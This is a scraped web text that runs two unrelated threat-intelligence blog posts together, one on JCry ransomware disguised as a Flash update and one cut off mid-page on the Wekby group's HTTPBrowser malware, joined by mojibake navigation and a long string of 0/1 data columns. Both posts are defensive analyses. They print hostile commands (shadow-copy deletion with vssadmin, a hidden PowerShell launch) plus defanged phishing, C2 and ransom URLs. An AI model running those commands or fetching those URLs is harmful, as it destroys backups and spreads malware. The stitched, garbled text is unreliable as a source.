Us Leadership Investor Relations Security Expertise Careers Events All Events CB Connect 2019 London \xc2 Press Press Releases In the News VIEW ENGLISH PAGE \xe6\x97\xa5\xe6\x9c\xac\xe8\xaa\x9e Contact \xe3\x81\x8a\xe5\x95\x8f\xe3\x81\x84\xe5\x90\x88\xe3\x82\x8f\xe3\x81\x9b Support \xe3\x82\xb5\xe3\x83\x9d\xe3\x83\xbc\xe3\x83\x88 Blog \xe3\x83\x96\xe3\x83\xad\xe3\x82\xb0 Login Partner Portal Login User Exchange Login \xe3\x83\x91\xe3\x83\xbc\xe3\x83\x88\xe3\x83\x8a\xe3\x83\xbc\xe3\x83\x9d\xe3\x83\xbc\xe3\x82\xbf\xe3\x83\xab\xe3\x83\xad\xe3\x82\xb0\xe3\x82\xa4\xe3\x83\xb3 \xe9\xa1\xa7\xe5\xae\xa2\xe3\x82\xb3\xe3\x83\x9f\xe3\x83\xa5\xe3\x83\x8b\xe3\x83\x86\xe3\x82\xa3 \xe8\xa3\xbd\xe5\x93\x81 \xe8\xa3\xbd\xe5\x93\x81 \xe7\xb5\xb1\xe5\x90\x88\xe3\x82\xaf\xe3\x83\xa9\xe3\x82\xa6\xe3\x83\x89 \xe3\x83\x97\xe3\x83\xa9\xe3\x83\x83\xe3\x83\x88\xe3\x83\x95\xe3\x82\xa9\xe3\x83\xbc\xe3\x83 CB Predictive Security Cloud \xe8\x84 \xe5\xa8\x81\xe3\x81\xae\xe5\x88\x86\xe6\x9e\x90 \xe5\x84\xaa\xe3\x82\x8c\xe3\x81\x9f\xe4\xbf\x9d\xe8\xad\xb7 \xe5\xae\x9f\xe7\x94\xa8\xe7\x9a\x84\xe3\x81\xaa\xe5\x8f\xaf\xe8\xa6\x96\xe6\x80\xa7 \xe9\x81\x8b\xe7\x94\xa8\xe3\x81\xae\xe7\xb0\xa1\xe7\xb4 \xe5\x8c\x96 \xe3\x82\xaf\xe3\x83\xa9\xe3\x82\xa6\xe3\x83\x89 \xe3\x82\xb5\xe3\x83\xbc\xe3\x83\x93\xe3\x82\xb9 CB Defense \xe6\xac\xa1\xe4\xb8\x96\xe4\xbb\xa3\xe5\x9e\x8b\xe3\x82\xa2\xe3\x83\xb3\xe3\x83\x81\xe3\x82\xa6\xe3\x82\xa4\xe3\x83\xab\xe3\x82\xb9 + EDR CB ThreatHunter \xe9\xab\x98\xe5\xba\xa6\xe3\x81\xaa\xe8\x84 \xe5\xa8\x81\xe3\x83\x8f\xe3\x83\xb3\xe3\x83\x86\xe3\x82\xa3\xe3\x83\xb3\xe3\x82\xb0\xe3\x81\xa8\xe3\x82\xa4\xe3\x83\xb3\xe3\x82\xb7\xe3\x83\x87\xe3\x83\xb3\xe3\x83\x88\xe5\xaf\xbe\xe5\xbf\x9c CB LiveOps\xe2\x84\xa2 \xe3\x83\xaa\xe3\x82\xa2\xe3\x83\xab\xe3\x82\xbf\xe3\x82\xa4\xe3\x83 \xe3\x82\xa8\xe3\x83\xb3\xe3\x83\x89\xe3\x83\x9d\xe3\x82\xa4\xe3\x83\xb3\xe3\x83\x88 \xe3\x82\xaf\xe3\x82\xa8\xe3\x83\xaa\xe3\x81\xa8\xe4\xbf\xae\xe5\xbe\xa9 CB ThreatSight \xe3\x83\x9e\xe3\x83\x8d\xe3\x83\xbc\xe3\x82\xb8\xe3\x83\x89\xe5\x9e\x8b\xe3\x81\xae\xe3\x82\xa2\xe3\x83\xa9\xe3\x83\xbc\xe3\x83\x88\xe7\x9b\xa3\xe8\xa6\x96\xe3\x81\xa8\xe3\x83\x88\xe3\x83\xaa\xe3\x82\xa2\xe3\x83\xbc\xe3\x82\xb8 CB Defense for VMware VMware \xe3\x82\xbb\xe3\x82\xad\xe3\x83\xa5\xe3\x83\xaa\xe3\x83\x86\xe3\x82\xa3 \xe7\x89\xb9\xe6\xae\x8a\xe7\x92\xb0\xe5\xa2\x83 CB Response \xe3\x82\xa4\xe3\x83\xb3\xe3\x82\xb7\xe3\x83\x87\xe3\x83\xb3\xe3\x83\x88\xe5\xaf\xbe\xe5\xbf\x9c/\xe8\x84 \xe5\xa8\x81\xe3\x83\x8f\xe3\x83\xb3\xe3\x83\x86\xe3\x82\xa3\xe3\x83\xb3\xe3\x82\xb0 CB Protection \xe3\x82\xa2\xe3\x83\x97\xe3\x83\xaa\xe3\x82\xb1\xe3\x83\xbc\xe3\x82\xb7\xe3\x83\xa7\xe3\x83\xb3\xe5\x88\xb6\xe5\xbe\xa1\xe3\x82\xbd\xe3\x83\xaa\xe3\x83\xa5\xe3\x83\xbc\xe3\x82\xb7\xe3\x83\xa7\xe3\x83\xb3 \xe3\x82\xbd\xe3\x83\xaa\xe3\x83\xa5\xe3\x83\xbc\xe3\x82\xb7\xe3\x83\xa7\xe3\x83\xb3 \xe3\x82\xbd\xe3\x83\xaa\xe3\x83\xa5\xe3\x83\xbc\xe3\x82\xb7\xe3\x83\xa7\xe3\x83\xb3 \xe3\x83\xa6\xe3\x83\xbc\xe3\x82\xb9 \xe3\x82\xb1\xe3\x83\xbc\xe3\x82\xb9 \xe6\xac\xa1\xe4\xb8\x96\xe4\xbb\xa3\xe5\x9e\x8b\xe3\x82\xa2\xe3\x83\xb3\xe3\x83\x81\xe3\x82\xa6\xe3\x82\xa4\xe3\x83\xab\xe3\x82\xb9 \xe3\x82\xa8\xe3\x83\xb3\xe3\x82\xbf\xe3\x83\xbc\xe3\x83\x97\xe3\x83\xa9\xe3\x82\xa4\xe3\x82\xba AV \xe3\x81\xae\xe7\xbd\xae\xe3\x81\x8d\xe6\x8f\x9b\xe3\x81\x88 \xe3\x83\xa9\xe3\x83\xb3\xe3\x82\xb5\xe3\x83 \xe3\x82\xa6\xe3\x82\xa7\xe3\x82\xa2\xe9\x98\xb2\xe5\xbe\xa1 | \xe3\x83\xa9\xe3\x83\xb3\xe3\x82\xb5\xe3\x83 \xe3\x82\xa6\xe3\x82\xa7\xe3\x82\xa2\xe9\x98\xbb\xe6\xad\xa2 \xe4\xbb\xae\xe6\x83\xb3\xe3\x83\x87\xe3\x83\xbc\xe3\x82\xbf\xe3\x82\xbb\xe3\x83\xb3\xe3\x82\xbf\xe3\x83\xbc\xe3\x81\xae\xe4\xbf\x9d\xe8\xad\xb7 \xe3\x83\xaa\xe3\x82\xb9\xe3\x82\xaf\xe3\x81\xa8\xe3\x82\xb3\xe3\x83\xb3\xe3\x83\x97\xe3\x83\xa9\xe3\x82\xa4\xe3\x82\xa2\xe3\x83\xb3\xe3\x82\xb9 \xc2 \xe8\x84 \xe5\xa8\x81\xe3\x83\x8f\xe3\x83\xb3\xe3\x83\x86\xe3\x82\xa3\xe3\x83\xb3\xe3\x82\xb0 \xe3\x82\xa4\xe3\x83\xb3\xe3\x82\xb7\xe3\x83\x87\xe3\x83\xb3\xe3\x83\x88\xe5\xaf\xbe\xe5\xbf\x9c \xe9\x87\x8d\xe8\xa6\x81\xe3\x82\xb7\xe3\x82\xb9\xe3\x83\x86\xe3\x83 \xe3\x81\xae\xe3\x83\xad\xe3\x83\x83\xe3\x82\xaf\xe3\x83\x80\xe3\x82\xa6\xe3\x83\xb3\xe3\x81\xa8\xe3\x82\xa2\xe3\x83\x97\xe3\x83\xaa\xe3\x82\xb1\xe3\x83\xbc\xe3\x82\xb7\xe3\x83\xa7\xe3\x83\xb3\xe5\x88\xb6\xe5\xbe\xa1 POS\xe3\x80\x81\xe5\x9b\xba\xe5\xae\x9a\xe6\xa9\x9f\xe8\x83\xbd\xe3\x80\x81\xe7\x94\xa3\xe6\xa5\xad\xe5\x88\xb6\xe5\xbe\xa1\xe3\x82\xb7\xe3\x82\xb9\xe3\x83\x86\xe3\x83 \xe3\x81\xae\xe3\x82\xbb\xe3\x82\xad\xe3\x83\xa5\xe3\x83\xaa\xe3\x83\x86\xe3\x82\xa3 \xe6\xa5\xad\xe7\xa8\xae \xe9\x87\x91\xe8\x9e\x8d \xe5\x8c\xbb\xe7\x99\x82 \xe8\xa3\xbd\xe9\x80 \xe7\x9f\xb3\xe6\xb2\xb9\xe3\x80\x81\xe3\x82\xac\xe3\x82\xb9\xe3\x80\x81\xe9\x9b\xbb\xe5\x8a\x9b \xe5\xb0\x8f\xe5\xa3\xb2\xe3\x80\x81\xe3\x82\xb5\xe3\x83\xbc\xe3\x83\x93\xe3\x82\xb9 \xe3\x83\x91\xe3\x83\xbc\xe3\x83\x88\xe3\x83\x8a\xe3\x83\xbc \xe3\x83\x91\xe3\x83\xbc\xe3\x83\x88\xe3\x83\x8a\xe3\x83\xbc \xe3\x83\x91\xe3\x83\xbc\xe3\x83\x88\xe3\x83\x8a\xe3\x83\xbc \xe3\x83\x91\xe3\x83\xbc\xe3\x83\x88\xe3\x83\x8a\xe3\x83\xbc\xe3\x82\x92\xe6\x8e\xa2\xe3\x81\x99 Carbon Black \xe3\x83\x91\xe3\x83\xbc\xe3\x83\x88\xe3\x83\x8a\xe3\x83\xbc \xe3\x83\x97\xe3\x83\xad\xe3\x82\xb0\xe3\x83\xa9\xe3\x83 \xe3\x83\x91\xe3\x83\xbc\xe3\x83\x88\xe3\x83\x8a\xe3\x83\xbc\xe3\x83\x9d\xe3\x83\xbc\xe3\x82\xbf\xe3\x83\xab\xe3\x83\xad\xe3\x82\xb0\xe3\x82\xa4\xe3\x83\xb3 \xe3\x83\x91\xe3\x83\xbc\xe3\x83\x88\xe3\x83\x8a\xe3\x83\xbc\xe3\x83\x9d\xe3\x83\xbc\xe3\x82\xbf\xe3\x83\xab\xe3\x83\xad\xe3\x82\xb0\xe3\x82\xa4\xe3\x83\xb3 \xe3\x83\x91\xe3\x83\xbc\xe3\x83\x88\xe3\x83\x8a\xe3\x83\xbc\xe3\x81\xab\xe3\x81\xaa\xe3\x82\x8b Integration Carbon Black Integration Network \xe3\x82\xaa\xe3\x83\xbc\xe3\x83\x97\xe3\x83\xb3 API \xe3\x83\xaa\xe3\x82\xbd\xe3\x83\xbc\xe3\x82\xb9 \xe3\x83\xaa\xe3\x82\xbd\xe3\x83\xbc\xe3\x82\xb9 \xe8\xa9\xb3\xe7\xb4\xb0\xe3\x82\x92\xe8\xa1\xa8\xe7\xa4\xba \xe3\x83\xaa\xe3\x82\xbd\xe3\x83\xbc\xe3\x82\xb9 \xe3\x83\xa9\xe3\x82\xa4\xe3\x83\x96\xe3\x83\xa9\xe3\x83\xaa \xe3\x82\xa6\xe3\x82\xa7\xe3\x83\x93\xe3\x83\x8a\xe3\x83\xbc \xe3\x81\x8a\xe5\xae\xa2\xe6\xa7\x98\xe3\x81\xae\xe6\x88\x90\xe5\x8a\x9f\xe4\xba\x8b\xe4\xbe\x8b \xe8\x84 \xe5\xa8\x81\xe8\xaa\xbf\xe6\x9f\xbb \xe5\xae\x9a\xe7\xbe\xa9 | \xe6\xa6\x82\xe8\xa6\x81\xe2\x80\xa6 \xe6\x83 \xe5 \xb1\xe3\x82\xb7\xe3\x83\xaa\xe3\x83\xbc\xe3\x82\xba Carbon Black \xe3\x82\x92\xe6\xaf\x94\xe8\xbc\x83 | \xe8\xa3\xbd\xe5\x93\x81\xe6\xaf\x94\xe8\xbc\x83 \xe3\x82\xaa\xe3\x83\xb3\xe3\x83\x9c\xe3\x83\xbc\xe3\x83\x87\xe3\x82\xa3\xe3\x83\xb3\xe3\x82\xb0 \xe3\x83\x88\xe3\x83\xac\xe3\x83\xbc\xe3\x83\x8b\xe3\x83\xb3\xe3\x82\xb0 \xe3\x82\xb5\xe3\x83\xbc\xe3\x83\x93\xe3\x82\xb9 \xe3\x82\xb5\xe3\x83\x9d\xe3\x83\xbc\xe3\x83\x88 \xe8\xa3\xbd\xe5\x93\x81\xe3\x82\xbb\xe3\x82\xad\xe3\x83\xa5\xe3\x83\xaa\xe3\x83\x86\xe3\x82\xa3 Connect \xe9\xa1\xa7\xe5\xae\xa2\xe3\x82\xb3\xe3\x83\x9f\xe3\x83\xa5\xe3\x83\x8b\xe3\x83\x86\xe3\x82\xa3 \xe3\x83\x96\xe3\x83\xad\xe3\x82\xb0 \xe4\xbc\x81\xe6\xa5\xad\xe6\x83 \xe5 \xb1 \xe4\xbc\x81\xe6\xa5\xad\xe6\x83 \xe5 \xb1 \xe3\x81\xaa\xe3\x81\x9c\xe3\x80\x81\xe3\x81\x8b Carbon Black \xe3\x81\x8c\xe9\x81\xb8\xe3\x81\xb0\xe3\x82\x8c\xe3\x82\x8b\xe7\x90\x86\xe7\x94\xb1 \xe8\xa3\xbd\xe5\x93\x81\xe3\x81\xae\xe8\xaa\x8d\xe5\xae\x9a\xe3\x81\xa8\xe5\xb0\x82\xe9\x96\x80\xe6\xa9\x9f\xe9\x96\xa2\xe3\x81\xab\xe3\x82\x88\xe3\x82\x8b\xe3\x83\x86\xe3\x82\xb9\xe3\x83\x88 \xe5\x8f\x97\xe8\xb3\x9e\xe6\xad\xb4\xe3\x81\xa8\xe8\xa9\x95\xe4\xbe\xa1 \xe3\x82\xa8\xe3\x83\xb3\xe3\x83\x89\xe3\x83\x9d\xe3\x82\xa4\xe3\x83\xb3\xe3\x83\x88 \xe3\x82\xbb\xe3\x82\xad\xe3\x83\xa5\xe3\x83\xaa\xe3\x83\x86\xe3\x82\xa3\xe8\xa3\xbd\xe5\x93\x81\xe3\x83\xac\xe3\x83\x93\xe3\x83\xa5\xe3\x83\xbc \xe4\xbc\x81\xe6\xa5\xad\xe6\x83 \xe5 \xb1 Carbon Black \xe3\x81\xab\xe3\x81\xa4\xe3\x81\x84\xe3\x81\xa6 \xe3\x83\x81\xe3\x83\xbc\xe3\x83 \xe3\x82\xbb\xe3\x82\xad\xe3\x83\xa5\xe3\x83\xaa\xe3\x83\x86\xe3\x82\xa3\xe5\xb0\x82\xe9\x96\x80\xe5\xae\xb6 \xe8\x84 \xe5\xa8\x81\xe5\x88\x86\xe6\x9e\x90\xe9\x83\xa8\xe9\x96\x80 Investor Relations Careers \xe3\x82\xa4\xe3\x83\x99\xe3\x83\xb3\xe3\x83\x88 \xe3\x82\xa4\xe3\x83\x99\xe3\x83\xb3\xe3\x83\x88 CB Connect 2019 \xc2 Press \xe3\x83\x97\xe3\x83\xac\xe3\x82\xb9 \xe3\x83\xaa\xe3\x83\xaa\xe3\x83\xbc\xe3\x82\xb9 \xe3\x83\xa1\xe3\x83\x87\xe3\x82\xa3\xe3\x82\xa2\xe6\x8e\xb2\xe8\xbc\x89 \xe8\x8b\xb1\xe8\xaa\x9e\xe7\x89\x88\xe3\x82\x92\xe8\xa6\x8b\xe3\x82\x8b English Contact \xe3\x81\x8a\xe5\x95\x8f\xe3\x81\x84\xe5\x90\x88\xe3\x82\x8f\xe3\x81\x9b Support \xe3\x82\xb5\xe3\x83\x9d\xe3\x83\xbc\xe3\x83\x88 Blog \xe3\x83\x96\xe3\x83\xad\xe3\x82\xb0 Login Partner Portal Login User Exchange Login \xe3\x83\x91\xe3\x83\xbc\xe3\x83\x88\xe3\x83\x8a\xe3\x83\xbc\xe3\x83\x9d\xe3\x83\xbc\xe3\x82\xbf\xe3\x83\xab\xe3\x83\xad\xe3\x82\xb0\xe3\x82\xa4\xe3\x83\xb3 \xe9\xa1\xa7\xe5\xae\xa2\xe3\x82\xb3\xe3\x83\x9f\xe3\x83\xa5\xe3\x83\x8b\xe3\x83\x86\xe3\x82\xa3 Get Started \xe5\xa7\x8b\xe3\x82\x81\xe3\x81\xbe\xe3\x81\x97\xe3\x82\x87\xe3\x81\x86 CB TAU Threat Intelligence Notification: JCry Ransomware Pretends to be Adobe Flash Player Update Installer May 14, 2019 / Swee Lai Lee JCry is a new family of ransomware that has the unique characteristic of being written in the Go programming language and being delivered as multiple executables, each with their own purpose. It was pretending to be an Adobe flash player update installer on a compromised website to lure users to click for the execution. In addition, it will append \xe2\x80\x9c.jcry\xe2\x80\x9d as file extension to the encrypted files and drops ransom note named as \xe2\x80\x9cJCRY_Note.html\xe2\x80\x9d. Figure 1: Screenshot of the ransom note \xe2\x80\x9cJCRY_Note.html\xe2\x80\x9d Figure 2: Go Build ID and library strings of Go programming language was found in the ransomware This post serves to inform our customers about detection and protection capabilities within the Carbon Black suite of products against\xc2 JCry ransomware. Behavioral Summary Once the user clicks on the fake Adobe Flash Player installer, it will extract/create the following malicious payload into the Startup directory to maintain its persistence: Enc.exe Dec.exe Msg.vbs PersonalKey.txt The execution of msg.vbs will display the following message to impersonate user the access to update Adobe Flash Player was denied. Figure 3: Screenshot of message by msg.vbs At the same time, Enc.exe will start the encryption routine and append \xe2\x80\x9c.jcry\xe2\x80\x9d as file extension to the encrypted file. After the encryption of file, it will delete shadow copies with the command \xe2\x80\x9cvssadmin delete shadows /all\xe2\x80\x9d to ensure that all the data cannot be restored easily. Then, it will launch Dec.exe using PowerShell with the command \xe2\x80\x9ccmd.exe /c powershell -WindowStyle Hidden Start-Process Dec.exe -WindowStyle maximized\xe2\x80\x9d. \xe2\x80\x9cDec.exe\xe2\x80\x9d is a console application that will display ransom note and prompt the user to enter decryption key for decrypting files as shown in the following screenshot. Upon execution, it will terminate and delete Enc.exe. Figure 4: Screenshot of the content from Dec.exe Below are the process chart and events from CB ThreatHunter showing that JCry ransomware has encrypted files and appended \xe2\x80\x98.jcry\xe2\x80\x99 as the file extension. In addition, CB Defense will display the malware\xe2\x80\x99s overall triggered TTPs. If you are a Carbon Black customer looking for more information on how to defend against this attack, click here.\xc2 MITRE ATT&CK TIDs \xc2 TID Tactic Description T1204 Execution User Execution: Ransomware pretending as fake update of Adobe Flash Player on compromised website to lure user click/download for execution. T1064 Defense Evasion, Execution Scripting: It creates and execute a VBS script on startup folder T1022 Exfiltration Data Encrypted: Ransomware to encrypt data T1059 Execution Command-Line Interface: Cmd will invoke PowerShell to execute a payload T1086 Execution PowerShell: PowerShell was used to execute a payload. T1107 Defense Evasion Shadow Copy Deletion by WMIC Or VSSAdmin Indicators of Compromise (IOCs) Indicator Type Context d7e118a3753a132fbedd262fdf4809a76ce121f758eb6c829d9c5de1ffab5a3b c86c75804435efc380d7fc436e344898 SHA256 MD5 JCry Ransomware 22488abddbd4a61bb32bb7c2883b56e2f97541f85125f8d4c1593f65853a1d48 5b640be895c03f0d7f4e8ab7a1d82947 SHA256 MD5 JCry Ransomware f2f4323df1a065cde9269b1c801fa912b296e36d08452e038778ba16b05dcba9 6B4ED5D3FDFEFA2A14635C177EA2C30D SHA256 MD5 JCry Ransomware hxxp://kpx5wgcda7ezqjty[.]onion URL JCry ransom payment url \xc2 TOPICS: Threat Research TAGS: Carbon Black / CB TAU / ransomware Subscribe Latest Tweets Want to learn: \xe2\x9c\x94 How fileless attack techniques are evolving \xe2\x9c\x94 How organizations can protect themselves from filele\xe2\x80\xa6 https://t.co/9r9XGnEObp\xc2 5 hours ago RT \xc2 @ITPro\xc2 : . \xc2 @CarbonBlack_Inc\xc2 's premier customer and partner event of the year heads to London this upcoming Autumn for an action-packed co\xe2\x80\xa6 7 hours ago We are excited to be at Cybertech Europe from 24th - 25th September in Rome. Visit us at the booth and sign up to b\xe2\x80\xa6 https://t.co/GdeTys5GiM\xc2 12 hours ago Why Carbon Black? Products Partners Resources Company Carbon Black \xe3\x81\x8c\xe9\x81\xb8\xe3\x81\xb0\xe3\x82\x8c\xe3\x82\x8b\xe7\x90\x86\xe7\x94\xb1 \xe8\xa3\xbd\xe5\x93\x81 \xe3\x83\x91\xe3\x83\xbc\xe3\x83\x88\xe3\x83\x8a\xe3\x83\xbc \xe3\x83\xaa\xe3\x82\xbd\xe3\x83\xbc\xe3\x82\xb9 \xe4\xbc\x9a\xe7\xa4\xbe\xe6\x83 \xe5 \xb1 Products CB Predictive Security Cloud\xc2\xae CB Defense CB ThreatHunter CB LiveOps\xe2\x84\xa2 CB Defense for VMware CB ThreatSight CB Response CB Protection Solutions by Industry Solutions by Use Case See All Partners Carbon Black Partner Program Become a Partner Partner Portal Login Find a Partner Resources Resource Library Webinars Customer Success Stories Services Support Blog Industry Leadership Endpoint Security Product Reviews Product Certifications and Public Testing Accessibility Resources Archives Company Why Carbon Black? About Us The Team Investor Relations Customer Community Careers All Events In the News Press Releases Reporting a Security Vulnerability \xe8\xa3\xbd\xe5\x93\x81 CB Predictive Security Cloud CB Defense CB ThreatHunter CB LiveOps\xe2\x84\xa2 CB ThreatSight CB Defense for VMware CB Response CB Protection \xe3\x83\x91\xe3\x83\xbc\xe3\x83\x88\xe3\x83\x8a\xe3\x83\xbc Carbon Black Connect \xe3\x83\x91\xe3\x83\xbc\xe3\x83\x88\xe3\x83\x8a\xe3\x83\xbc \xe3\x83\x97\xe3\x83\xad\xe3\x82\xb0\xe3\x83\xa9\xe3\x83 \xe3\x83\x91\xe3\x83\xbc\xe3\x83\x88\xe3\x83\x8a\xe3\x83\xbc\xe3\x82\x92\xe6\x8e\xa2\xe3\x81\x99 \xe3\x83\x91\xe3\x83\xbc\xe3\x83\x88\xe3\x83\x8a\xe3\x83\xbc\xe3\x81\xab\xe3\x81\xaa\xe3\x82\x8b Carbon Black Integration Network \xe3\x82\xaa\xe3\x83\xbc\xe3\x83\x97\xe3\x83\xb3 API \xe3\x83\x91\xe3\x83\xbc\xe3\x83\x88\xe3\x83\x8a\xe3\x83\xbc\xe3\x83\x9d\xe3\x83\xbc\xe3\x82\xbf\xe3\x83\xab\xe3\x83\xad\xe3\x82\xb0\xe3\x82\xa4\xe3\x83\xb3 \xe3\x83\xaa\xe3\x82\xbd\xe3\x83\xbc\xe3\x82\xb9 \xe3\x83\xaa\xe3\x82\xbd\xe3\x83\xbc\xe3\x82\xb9 \xe3\x83\xa9\xe3\x82\xa4\xe3\x83\x96\xe3\x83\xa9\xe3\x83\xaa \xe3\x82\xa6\xe3\x82\xa7\xe3\x83\x93\xe3\x83\x8a\xe3\x83\xbc \xe8\x84 \xe5\xa8\x81\xe8\xaa\xbf\xe6\x9f\xbb \xe5\xae\x9a\xe7\xbe\xa9 | \xe6\xa6\x82\xe8\xa6\x81\xe2\x80\xa6 \xe6\x83 \xe5 \xb1\xe3\x82\xb7\xe3\x83\xaa\xe3\x83\xbc\xe3\x82\xba \xe3\x82\xb5\xe3\x83\x9d\xe3\x83\xbc\xe3\x83\x88 \xe3\x82\xbb\xe3\x82\xad\xe3\x83\xa5\xe3\x83\xaa\xe3\x83\x86\xe3\x82\xa3 \xe3\x82\xb5\xe3\x83\xbc\xe3\x83\x93\xe3\x82\xb9 \xe3\x81\x8a\xe5\xae\xa2\xe6\xa7\x98\xe3\x81\xae\xe6\x88\x90\xe5\x8a\x9f\xe4\xba\x8b\xe4\xbe\x8b Company Carbon Black \xe3\x81\x8c\xe9\x81\xb8\xe3\x81\xb0\xe3\x82\x8c\xe3\x82\x8b\xe7\x90\x86\xe7\x94\xb1 Carbon Black \xe3\x81\xab\xe3\x81\xa4\xe3\x81\x84\xe3\x81\xa6 \xe3\x83\xaa\xe3\x83\xbc\xe3\x83\x80\xe3\x83\xbc \xe8\x84 \xe5\xa8\x81\xe5\x88\x86\xe6\x9e\x90\xe9\x83\xa8\xe9\x96\x80 \xe3\x82\xbb\xe3\x82\xad\xe3\x83\xa5\xe3\x83\xaa\xe3\x83\x86\xe3\x82\xa3\xe5\xb0\x82\xe9\x96\x80\xe5\xae\xb6 \xe3\x82\xa4\xe3\x83\x99\xe3\x83\xb3\xe3\x83\x88 \xe9\xa1\xa7\xe5\xae\xa2\xe3\x82\xb3\xe3\x83\x9f\xe3\x83\xa5\xe3\x83\x8b\xe3\x83\x86\xe3\x82\xa3 Careers \xe3\x83\x97\xe3\x83\xac\xe3\x82\xb9 \xe3\x83\xaa\xe3\x83\xaa\xe3\x83\xbc\xe3\x82\xb9 \xe3\x83\xa1\xe3\x83\x87\xe3\x82\xa3\xe3\x82\xa2\xe6\x8e\xb2\xe8\xbc\x89 Copyright \xc2\xa9 2019 Carbon Black, Inc. All rights reserved. Copyright \xc2\xa9 2019 Carbon Black, Inc. All rights reserved. Privacy Policy Cookie Policy Terms & Conditions License Agreements Sitemap Privacy Policy Cookie Policy Terms & Conditions License Agreements Sitemap Search Carbon Black","0","1","1","1","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","1","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","1","0","0","0","0","0","0" -"Evasive Maneuvers by the Wekby group with custom ROP-packing and DNS covert channels Support Blog Forum EN English Fran\xc3\xa7ais Deutsch \xe6\x97\xa5\xe6\x9c\xac\xe8\xaa\x9e Italiano Portugu\xc3\xaas Espa\xc3\xb1ol Threat Platform Community APP Store ISACs Resources Resources Datasheets Partner Datasheets Videos Webinars Whitepapers Blog Featured Topics What is Threat Intelligence Threat Intelligence Sharing Threat Intelligence Platform (TIP) STIX/TAXII MITRE ATT&CK Company Leadership News & Events Awards Partners Careers Contact Us Request Demo Support EN English Fran\xc3\xa7ais Deutsch \xe6\x97\xa5\xe6\x9c\xac\xe8\xaa\x9e Italiano Portugu\xc3\xaas Espa\xc3\xb1ol Cyber Threat Intelligence Threat Intelligence Platform Evasive Maneuvers by the Wekby group with custom ROP-packing and DNS covert channels July 6, 2015 | Aaron Shelmire ThreatStream Labs recently became aware of a campaign beginning on 30 June 2015 by the omniprescent Wekby threat actors (a/k/a TG-0416, APT-18, Dynamite Panda). The Wekby actors have recently been observed compromising\xc2 organizations in the Manufacturing, Technology and Utilities verticals, but have had a long standing interest in the HealthCare industry.\xc2 \xc2 This campaign uses\xc2 obfuscated variants of the HTTPBrowser tool that use DNS as a control channel. This recent campaign exhibits many of the groups key characteristics to deliver a more technically advanced version of their toolkit than has previously been found. The Wekby group is keen on using phishes that purport to be from the IT helpdesk, often with links or attachments claiming to be vpn or citrix upgrades. This specific instance used a \xe2\x80\x9ccisco\xe2\x80\x9d vpnclient theme. The Phishing links are:\xc2 hXXp://it-desktop[.]com/vpn/cisco/vpnclient.exe hXXp://wangke99[.]tgk[.]delldns[.]com/tools.exe These\xc2 URIs result\xc2 in the download of an installer, which creates a PE of the malware typically known as HTTPBrowser, but called Token Control by the Wekby group themselves (based upon the PDB strings found within many of the samples).\xc2 The PEBuildDate of the installers range from 2015-06-30 11:57:13 to 12:03:13 UTC. Two samples use subdomains of local.it-desktop.com\xc2 and were submitted to VirusTotal at 15:32:37 from users in Great Britain. At that time only 8 of 55 AntiVirus engines detected the same as malware, mostly with generic and heuristic detections. \xc2 The third sample was first submitted on July 1st 2015 from a user in South Korea.\xc2 \xc2 The samples install\xc2 HTTPBrowser at %APPDATA%/wdm.exe. Persistence is established via the HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run key value for wdm\xc2 set to the path of the executable. Previous samples have set persistence via Run key values for 360v. \xc2 This tool has been used by a few groups since at least 2012 based upon PEBuildDates). However this sample is a bit more interesting. Normally HTTPBrowser sends traffic over HTTP using a user-agent of HTTPBrowser/1.0. \xc2 This sample uses DNS as a covert channel for communications. Specifically this sample utilizes DNS TXT records with 9 uppercase letters followed by a number and 7 more uppercase letters, then the C2 domain used. In this PCAP the C2 domain is glb.it-desktop.com. The \xe2\x80\x9cglb\xe2\x80\x9d label is believed to be a campaign ID. The other samples use the C2 domains of local.it-desktop.com and hi.getgo2.com Adding to the intrigue of this sample is a novel form of obfuscation that greatly complicates analysis. Specifically the sample uses Return Oriented Programming to control execution flow, and creates an extraordinary amount of functions filled with instructions that essentially evaluate to elaborate NOPs (no operation).\xc2 The way this works is each function modifies the stack to replace the return point with additional functions including a function that includes the next bit of code that needs to be executed. Each subroutine includes the bare minimum number of operations necessary to call another subroutine, or perform local control flow (looping,\xc2 branching, and simple calculations), before modifying the stack to return to the next\xc2 subroutine.\xc2 While looking at a sample in OllyDbg, you would see the following, where execution will continue with Subroutine 0x0040F62E. If that subroutine does not add any additional functions to the stack, execution will continue to Subroutine 0x0040F38A.\xc2 While many of the Wekby threat actors campaigns may appear unsophisticated because they often rely upon stolen credentials or basic malware, this group of actors is extremely successful at\xc2 obtaining their objectives. If your organization does not use Two-Factor authentication, the group will typically rely upon stolen credentials for remote access. The Wekby group has exhibited a preference to use a tool named HcdLoader which often persists as a Windows Service on externally facing servers for remote access. The group is particularly skilled at living off the land by using the tools already present on computers for lateral movement and exfiltration. \xc2 The samples detailed here can be found on VirusTotal at: d0f79de7bd194c1843e7411c473e4288\xc2 e5414c5215c9305feeebbe0dbee43567\xc2 985eba97e12c3e5bce9221631fb66d68 \xc2 UPDATE: The original post noted a domain of hi.get2go.com in error. This domain should have been hi.getgo2.com About the AuthorAaron Shelmire Aaron began work in the security field after machines he was responsible for were compromised in the 2004 Stakkato Intrusions. At this point he went to graduate school at Carnegie Mellon Universities Heinz College for Information Assurance, where he currently holds an adjunct position teaching Network Security Analysis. He has been a security researcher at the Software Engineering Institutes CERT/CC initiative and Dell SecureWorks, with a focus on responding to and analyzing threat intelligence. You might also be interested in... Blog10 Things To Do at Detect \xe2\x80\x9819\xe2\x81 - The Threat Intelligence Event of the Year BlogThreat Hunting: Eight Tactics to a Better Cybersecurity Strategy BlogEverything You Need to Know to Become a Guardian of the Cyberverse! BlogSuspected North Korean Cyber Espionage Campaign Targets 